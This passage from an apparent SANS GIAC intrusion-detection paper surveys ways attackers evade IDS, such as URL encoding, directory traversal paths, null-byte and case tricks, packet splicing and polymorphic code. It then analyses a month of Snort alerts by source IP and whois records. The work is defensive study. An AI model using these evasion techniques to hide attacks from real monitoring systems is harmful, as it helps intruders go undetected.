Most IDS work by "pattern matching" attacks with a database of "signatures". By modifying freely available attack source code it may be possible to evade detection. For example, modifying the payload, shell code, source ports and other identifying features[20].

Use of encryption.
The use of encryption technologies is gaining popularity on the web. Many of these, such as SSL and IPSEC, have the effect of blinding IDS sensors. With many web servers today an attacker can establish an encrypted session and parse queries to the web server, with the IDS oblivious to what is going on. The only countermeasure to this would be an IDS capable of on-the-fly decryption, which is likely to exacerbate any resource utilisation problems it may already have[21].

HTTP Uri obfuscation.
The goal of URL obfuscation is to mutate a request so that a IDS will get confused, but the web server will still understand the request. There are numerous freeware tools that can automate this for you. eg. Whisker (CGI scanner), Pudding (HTTP Proxy).
Some of the techniques these tools employ include:

Method Matching. Using HEAD instead of GET requests can evade some IDS.

URL Encoding. Encoding the URI using it's escaped equivalent.

Double Slashes. Replacing / with double //'s or multiple /'s.

Reverse Traversal. Works by placing traversal's in the URI request.
Eg. GET /cgi-bin/string/../test.cgi HTTP/1.0 etc.

Self Reference Directories. Using the current directory instead of a subdirectory to reference a resource.
eg. The path will be modified to /cgi-bin/./../phf.cgi

[19] Steve Schupp, "Limitations of Network Intrusion Detection" (December 2000)
http://www.sans.org/infosecFAQ/intrusion/net_id.htm
[20] Steve Schupp, "Limitations of Network Intrusion Detection" (December 2000)
http://www.sans.org/infosecFAQ/intrusion/net_id.htm
[21] Stuart McClure & Joel Scambray, "Once-promising intrusion detection systems stumble over a myriad of problems" (December 8, 2000)
http://www.infoworld.com/articles/op/xml/00/12/11/001211opswatch.xml

Premature Request Ending. Encoding an end of request, and following with another request in the same transaction. The first request will be valid request, followed by the attack request.

Parameter Hiding. Some IDS do not process anything after a "?" within a URI. This can be used to an attackers benefit.

HTTP Mis-formatting. Some web servers interpret mis-formatted HTTP requests. Mis-formatted requests may evade detection.

Long URL's. Some IDS will only look at the first X bytes of a request. Long URL's can be used to evade detection.

DOS/Win Directory syntax. Replacing / with \ within a URL an attacker may be able to evade detection.

Null Method. Using the Null character (%00) to denote the end of a string, when the string is not finished may elude some IDS.

Case Sensitivity. By mixing the case in the URL request, it may be possible to avoid detection by obscuring the attack pattern matching.

Session Splicing. By splicing attacks over many packets an attacker may be able to avoid detection[22].

Polymorphic evasion techniques

At the recent CanSecWest conference in Vancouver, a hacker named "K2" released a program that can camouflage programs commonly used by attackers to compromise systems. The cloaking technique is aimed at foiling pattern-recognition intelligence used by many IDS. It does this through polymorphic coding which would give the attacks different signatures every time they are run[23].

Conclusion

IDS have been widely touted as a tool to simplify and improve security management. As outlined above, however, there are numerous avoidance techniques that can be employed to circumvent IDS security. This is not to deny that an IDS can play an integral role in employing a "defense in depth" security architecture. However, if such a system is to be employed it is imperative that it is used as a complement to other security measures rather than alone.

[22] Rain Forest Puppy, "A look at whisker's anti-IDS tactics" http://www.wiretrip.net/rfp/pages/whitepapers/whiskerids.html

[23] Robert Lemos, "New cloaked-code threat to security" http://www.zdnet.com/zdnn/stories/news/0,4586,5080532,00.html

References:

1. Thomas Ptacek & Timothy Newsham, "Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection" (Jan 1998)
   http://secinf.net/info/ids/idspaper/idspaper.html

2. Steve Schupp, "Limitations of Network Intrusion Detection" (Dec 1, 2000)
   http://www.sans.org/infosecFAQ/net_id.htm

3. Rain Forest Puppy, "A look at whisker's anti-IDS tactics" (Dec 24, 1999)
   http://www.wiretrip.net/rfp/pages/whitepapers/whiskerids.html

4. Stuart McClure & Joel Scambray, "Once-promising intrusion detection systems stumble over a myriad of problems" (Dec 8, 2000)
   http://www.infoworld.com/articles/op/xml/00/12/11/001211opswatch.xml

5. Richard Wiens, "Realistic Expectations for Intrusion Detection Systems" (Mar 19, 2001)
   http://www.securityfocus.com/focus/ids/articles/expect.html

6. Dragos Ruiu, "IDS Review: Introduction" (Apr 8, 2001)
   http://securityportal.com/articles/idsintroduction20010226.html

7. Ben Tobler, "Intrusion Detection Survey Paper" (1999)
   http://www.cs.uct.ac.za/courses/CS400W/NIS/paper99/btobler/

8. Coretez Giovanni, "Fun with Packets: designing stick" (Mar 2001)
   http://www.eurocompton.net/stick/

9. Cybercop Scanner 5.5 "Product Documentation"

Assignment 3 – "Analyse This" Scenario (30 points)

This assignment constitutes a bid for services to GIAC Enterprises, paying special attention to compromised systems or network problems. The basis for the analysis is one month's worth of data from a Snort system with a fairly standard rulebase.

Procedure:

1. **Data Collection.** All data was retrieved from the SANS web site. Three distinct data sets were supplied. These were made up of:

- Snort alerts recorded in "fast" mode. These are the scan files and constitute the bulk of the data.
- Snort alerts recorded in "full" mode.
- Snort alerts recorded with full decode output. These are the OOS files.

The first two sets of data contained some duplicate files. This was found by comparing file sizes and by using "diff"" within Linux. All duplicate data was removed from the data sets before any analysis was performed.

2. **Analysis Technique.** Research on analysis tools was performed by looking through students previous assignments and by visiting the Snort web site. It was realised early in the project that manual analysis would not be possible given the quantity of data supplied (over 1 million entries). I decided to use Snortsnarf, by Silicondefense, and other common *NIX tools for my analysis.

- MY.NET was replaced with 10.123 so the logs could be parsed through SnortSnarf v011601.1. The logs were also "cleaned" to remove non-security related messages, eg. Stopping and starting of services, and sorted to speed up analysis.
- It proved difficult to parse the logs through SnortSnarf. The common complaint being "insufficient memory". This process was tried on a Linux machine with 512 MB ram and a 2 GB swapfile, and a SUN Ultra 10 with 256 MB ram.
- In the end Lenny Zeltsers scripts (from a previous GIAC assignment) were consulted. These created a Berkely Database file and parsed the files with various Perl scripts to analyse the source, destinations, hosts and networks. The database file created was over 160MB and took many hours to create by parsing the raw Snort logs into a text format. This review process also proved to be cumbersome given the size of the logs. Perhaps more frequent log reviews would facilitate this process in the future.
- The OOS scripts were parsed using shell scripts.

3. **Results.**

The following information was obtained through analysis (using shell scripts):

Port scans were logged on the following days:

Month	Occurrences (date)
Jan	21, 30
Feb	1, 4, 5, 6, 7, 9, 10, 20, 21, 22, 23, 24, 25, 26, 27, 28
Mar	1, 2, 3, 4, 5, 6, 7, 9, 10, 12

Alerts were logged on the following days:

Month	Occurrences (date)
Jan	30, 31
Feb	3, 4, 5, 6, 7, 11, 12
Mar	-

OOS alerts were logged on the following days:

Month	Occurrences (date)
Jan	20, 21, 23, 31
Feb	1, 2, 4, 5, 6, 8, 9, 10, 11, 12, 13

The following information was generated by parsing the alert logs through SnortSnarf:

Alert Message	**Number of Alerts**
UDP SRC and DST outside network	176865
Watchlist 000220 IL-ISDNNET-990517	6849
Watchlist 000222 NET-NCFC	5396
Possible RAMEN server activity	3842
SYN-FIN scan!	2221
connect to 515 from inside	649
Attempted Sun RPC high port access	507
Queso fingerprint	248
WinGate 1080 Attempt	221
Tiny Fragments - Possible Hostile Activity	112
Null scan!	82
TCP SRC and DST outside network	68
ICMP SRC and DST outside network	21
NMAP TCP ping!	13
SNMP public access	5
TCP SMTP Source Port traffic	4
SUNRPC highport access!	4
Russia Dynamo - SANS Flash 28-jul-00	1

Attack Analysis: (Top 10)

1. UDP SRC and DST outside network.

Scans with UDP SRC and destinations outside the network may signify that the packets have been crafted/spoofed. Looking through the logs I have been able to identify a lot of multicast traffic (224.2.127.254:9875), traffic originating from non-routable address ranges, and some legitimate traffic.

The multicast traffic appears to relate to SAPv1 Announcements.
The traffic with non-routable addresses is most likely spoofed.

The top 5 sources of alerts are contained in the table below:

Sources: (Top 5)

Source	# Alerts (sig)	# Dsts (sig)
155.101.21.38	37061	1
130.235.133.92	15845	1
171.69.248.71	13103	1
129.116.65.3	9084	1
128.223.83.33	8064	1

2. Watchlist 000220 IL-ISDNNET-990517.

The rule that generated these alerts is meant to specifically watch all traffic originating from a Network in Israel. Typically, a watchlist ruleset is created to watch a network that has had a history of problems with internal security.

The results from the whois are shown below:

inetnum: 212.179.33.0 - 212.179.33.31
netname: OFER-BROTHERS
descr: OFER-BROTHERS-LAN
country: IL
admin-c: ZV140-RIPE
tech-c: NP469-RIPE
status: ASSIGNED PA
notify: hostmaster@isdn.net.il
changed: hostmaster@isdn.net.il 20000917
source: RIPE

Many of these alerts relate to TCP 6699 which is commonly used by the Napster application.

Sources: (Top 5)

Source	# Alerts (sig)	# Dsts (sig)
212.179.21.179	4372	1
212.179.47.83	544	1
212.179.79.2	539	6
212.179.58.193	520	1
212.179.42.21	321	1

3. Watchlist 000222 NET-NCFC.

The rule that generated these alerts is meant to specifically watch all traffic originating from Computer Network Center Chinese Academy of Sciences. Typically, a watchlist ruleset is created to watch a network that has had a history of problems with internal security.

There were 5396 alerts caught by this rule.

The results from the whois are shown below:

The Computer Network Center Chinese Academy of Sciences (NET-NCFC)
P.O. Box 2704-10,
Institute of Computing Technology Chinese Academy of Sciences
Beijing 100080, China

Netname: NCFC
Netblock: 159.226.0.0 - 159.226.255.255

Coordinator:
Qian, Haulin (QH3-ARIN) hlqian@NS.CNC.AC.CN
+86 1 2569960

Sources: (Top 5)

Source	# Alerts (sig)	# Dsts (sig)
159.226.81.1	5362	2
159.226.114.1	8	2
159.226.39.4	6	2
159.226.111.1	4	1
159.226.92.10	2	1

4. Possible RAMEN server activity.

The scans that raised alerts were destined for TCP 27374. This port is the default port used by the Sub 7 v2.1 Trojan.

Sources: (Top 5)

Source	# Alerts (sig)	# Dsts (sig)
24.48.226.183	1819	1809
10.123.253.12	530	530
10.123.225.66	60	14
10.123.217.202	30	10
10.123.223.42	20	5

Destinations: (Top 5)

Destinations	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total))
24.48.226.183	1074	1074	1020	1020
10.123.225.66	36	39	10	11
10.123.217.202	22	23	8	9
24.48.121.105	15	15	1	1
10.123.227.94	12	12	4	4

Note: Popular destinations should be reviewed by system administrators as this may be a strong indication that the hosts have been compromised.

5. SYN-FIN scan!

TCP probes sent with the SYN+FIN flags is often used in OS fingerprinting or as part of a pre-attack probe. It does not constitute a standard TCP handshake, connection, or session teardown.

The following table shows the top 5 sources of SYN+FIN scans:

Source	Alerts triggered	Destination IP	TCP Port Scanned	Source Port
211.248.112.67	2216	Thousands of hosts on the 10.123 network in all different subnets.	53 (DNS)	53
63.252.15.242	2	10.123.5.29	443 (HTTPS)	2754
24.50.25.5	1	10.123.211.122	1415 (DBStar)	6699
4.35.4.244	1	10.123.211.74	6346	1837

209.255.180.130	1	10.123.5.29	259 (FireWall-1 Authentication)	32808

SYN+FIN scans accounted for over 2000 alerts.

Note: 4.35.4.244 also tried to do a Queso Fingerprint scan.
10.123.5.29 was also targeted with several Null Scan scans.

6. Connect to 515 from inside.

The Unix LPR service runs on TCP port 515. On October 4, 2000 there were advisories released regarding vulnerabilities for the LPR service, for many distributions of Linux and for the BSD variants. These probes probably constitute scans looking for exploitable hosts. System administrators should diligently review hosts that have been targeted by these scans.

Sources: (Top 5)

Source	# Alerts (sig)	# Dsts (sig)
10.123.98.190	514	1
10.123.97.88	118	1
10.123.7.20	15	1
10.123.162.71	1	1
10.123.201.170	1	1

Destinations: (Top 5)

Destinations	# Alerts (sig)	# Dsts (sig)
216.181.129.185	632	2
216.88.97.58	15	1
209.50.66.2	1	1
209.249.182.79	1	1

7. Attempted Sun RPC high port access.

This a network scan for rpc services on solaris boxes which have the vulnerability with rpc.ttdbserv (TCP 32771).

Sources: (Top 5)

Source	# Alerts (sig)	# Dsts (sig)
64.244.10.40	362	1

205.188.153.97	134	1
205.188.153.108	6	1
205.188.153.107	5	1

Destinations: (Top 5)

Destinations	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total))
10.123.223.254	362	362	1	1
10.123.221.246	134	136	1	2
10.123.105.115	6	6	1	1
10.123.97.217	5	5	1	1
10.123.223.254	362	362	1	1

Note: Popular destinations should be reviewed by system administrators as this may be a strong indication that the hosts have been compromised. If they are Solaris boxes ensure they have been patched. It may also be worthwhile to monitor any outbound connections launched from these servers which may indicate they are being used to launch attacks against other hosts.

8. Queso fingerprint.

Queso is a GNU application that can be used to perform TCP fingerprinting. TCP fingerprinting may be performed by an attacker to determine the operating system of a remote target as many vulnerabilities are OS dependent. This is useful where an attacker knows a handful of exploits on a certain platform and the attacker wishes to determine the vulnerability of a bunch of remote targets. It is often the precursor to an attack.

Sources: (Top 5)

Source	# Alerts (sig)	# Dsts (sig)
141.30.228.122	35	5
141.30.228.134	30	7
141.30.228.43	25	12
141.30.228.189	21	6
141.30.228.161	15	5

9. WinGate 1080 Attempt.

Probes to TCP 1080 may be scanners looking for open SOCKS proxies.

Wingate is a popular SOCKS application. It has had many vulnerabilities in the past and is often mis-configured by end-users to permit proxying by

anyone on the Internet. Attackers often use proxies to mask their real identities in an attack.

Wingate Scans are a serious and should be followed up by diligent administrators. In our data 221 alerts were generated with scans targeted at 10.123.

Sources: (Top 5)

Source	# Alerts (sig)	# Dsts (sig)
24.1.201.200	29	1
128.121.244.217	23	1
199.173.178.2	20	14
216.179.0.32	18	7
204.117.70.5	14	3

Destinations: (Top 5)

Destinations	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total))
10.123.221.30	29	29	1	1
10.123.15.178	23	23	1	1
10.123.98.118	14	16	1	3
10.123.60.8	10	22	4	12
10.123.203.234	10	10	3	3

Note: Popular destinations should be reviewed by system administrators as this may be a strong indication that the hosts have been compromised.

10. Tiny Fragments – Possible Hostile Activity.

Attackers use fragmentation to split up the TCP header over several packets to make it harder for packet filters and intrusion detection systems to detect what they are doing. Fragmented packets should always be treated with caution.

Sources: (Top 5)

Source	# Alerts (sig)	# Dsts (sig)
64.80.90.36	73	2
202.205.5.10	6	1
64.80.88.99	5	1
202.96.96.3	5	2
64.80.89.149	3	2

Other analysis results:

Analysis of the OOS files revealed the following:

Source	Alert Frequency
10.123.217.150	2108
10.123.98.130	73
10.123.98.166	64
10.123.98.174	49
10.123.98.178	46
10.123.98.129	38
10.123.98.195	37
10.123.98.202	32
10.123.201.38	30
10.123.203.178	27
10.123.204.146	26
10.123.97.89	26
10.123.220.102	17
10.123.203.102	11
10.123.210.250	8
10.123.98.127	7
10.123.204.82	6
10.123.207.158	6
10.123.211.26	5
10.123.217.190	5
10.123.228.22	5
10.123.210.66	4
10.123.97.77	4
10.123.98.201	4
10.123.221.202	3
10.123.226.38	3
10.123.98.244	3
10.123.202.190	2
10.123.208.18	2
10.123.209.238	2
10.123.212.38	2
10.123.219.18	2
10.123.225.194	2
10.123.97.41	2
10.123.153.237	1
10.123.181.131	1
10.123.201.62	1
10.123.202.18	1
10.123.202.222	1

10.123.203.142	1
10.123.203.18	1
10.123.203.78	1
10.123.205.102	1
10.123.205.194	1
10.123.205.226	1
10.123.206.230	1
10.123.206.58	1
10.123.207.38	1
10.123.208.130	1
10.123.210.82	1
10.123.211.62	1
10.123.213.250	1
10.123.218.86	1
10.123.219.74	1
10.123.220.194	1
10.123.222.10	1
10.123.222.62	1
10.123.227.26	1
10.123.228.130	1
10.123.97.191	1
10.123.97.216	1
10.123.98.147	1
10.123.98.161	1
10.123.98.196	1

Last Updated: May 23rd, 2017

Upcoming Training

Mentor Session - SEC503	Oceanside, CA	May 29, 2017 - Jun 29, 2017	Mentor
Security Operations Center Summit & Training	Washington, DC	Jun 05, 2017 - Jun 12, 2017	Live Event
SANS Houston 2017	Houston, TX	Jun 05, 2017 - Jun 10, 2017	Live Event
SANS Columbia, MD 2017	Columbia, MD	Jun 26, 2017 - Jul 01, 2017	Live Event
SANS London July 2017	London, United Kingdom	Jul 03, 2017 - Jul 08, 2017	Live Event
SANSFIRE 2017	Washington, DC	Jul 22, 2017 - Jul 29, 2017	Live Event
SANSFIRE 2017 - SEC503: Intrusion Detection In-Depth	Washington, DC	Jul 24, 2017 - Jul 29, 2017	vLive
SANS San Antonio 2017	San Antonio, TX	Aug 06, 2017 - Aug 11, 2017	Live Event
SANS Boston 2017	Boston, MA	Aug 07, 2017 - Aug 12, 2017	Live Event
SANS Adelaide 2017	Adelaide, Australia	Aug 21, 2017 - Aug 26, 2017	Live Event
SANS Virginia Beach 2017	Virginia Beach, VA	Aug 21, 2017 - Sep 01, 2017	Live Event
SANS Network Security 2017	Las Vegas, NV	Sep 10, 2017 - Sep 17, 2017	Live Event
SANS vLive - SEC503: Intrusion Detection In-Depth	SEC503 - 201709,	Sep 11, 2017 - Oct 18, 2017	vLive
SANS Baltimore Fall 2017	Baltimore, MD	Sep 25, 2017 - Sep 30, 2017	Live Event
Baltimore September 2017 - SEC503: Intrusion Detection In-Depth	Baltimore, MD	Sep 25, 2017 - Sep 30, 2017	vLive
SANS London September 2017	London, United Kingdom	Sep 25, 2017 - Sep 30, 2017	Live Event
Community SANS Scottsdale SEC503	Scottsdale, AZ	Oct 02, 2017 - Oct 07, 2017	Community SANS
SANS October Singapore 2017	Singapore, Singapore	Oct 09, 2017 - Oct 28, 2017	Live Event
Community SANS Ottawa SEC503	Ottawa, ON	Oct 16, 2017 - Oct 21, 2017	Community SANS
SANS San Diego 2017	San Diego, CA	Oct 30, 2017 - Nov 04, 2017	Live Event
San Diego Fall 2017 - SEC503: Intrusion Detection In-Depth	San Diego, CA	Oct 30, 2017 - Nov 04, 2017	vLive
SANS Seattle 2017	Seattle, WA	Oct 30, 2017 - Nov 04, 2017	Live Event
SIEM & Tactical Analytics Summit & Training	Scottsdale, AZ	Nov 28, 2017 - Dec 05, 2017	Live Event
SANS OnDemand	Online	Anytime	Self Paced
SANS SelfStudy	Books & MP3s Only	Anytime	Self Paced